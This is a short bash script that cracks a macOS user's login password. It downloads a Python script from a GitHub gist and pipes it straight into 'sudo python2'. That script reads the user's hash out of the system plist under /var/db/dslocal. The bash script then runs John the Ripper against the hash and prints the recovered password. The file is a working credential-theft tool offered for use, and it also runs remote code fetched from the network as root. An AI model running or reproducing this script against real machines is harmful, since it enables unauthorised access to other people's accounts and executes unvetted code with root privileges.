crack_user.sh

#!/usr/bin/env bash

if [ "$#" -lt 2 ]; then
	echo "Usage: $0 <username> <threads> [mask]"
	exit 1
fi

if ! command -v brew &> /dev/null; then
	echo "Installing Homebrew..."
	/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
	exit 1
fi

brew uninstall john
brew install john-jumbo

curl -vs https://gist.githubusercontent.com/nueh/8252572/raw/1c5992fccf093dcce13572c6980176864edaf816/plist2hashcat.py 2> /dev/null | sudo python2 - /var/db/dslocal/nodes/Default/users/${1}.plist > ./hash-${1}.txt

rm -f ~/.john/john.pot

if [ "$#" -gt 2 ]; then
	echo "Cracking with mask: ${3}";
	john --fork=${2} ./hash-${1}.txt -mask=${3}
	echo "Cracked password: $(john --show ./hash-${1}.txt | head --lines=1)"
else
	echo "Cracking without mask";
	john --fork=${2} ./hash-${1}.txt 
	echo "Cracked password: $(john --show ./hash-${1}.txt | head --lines=1)"
fi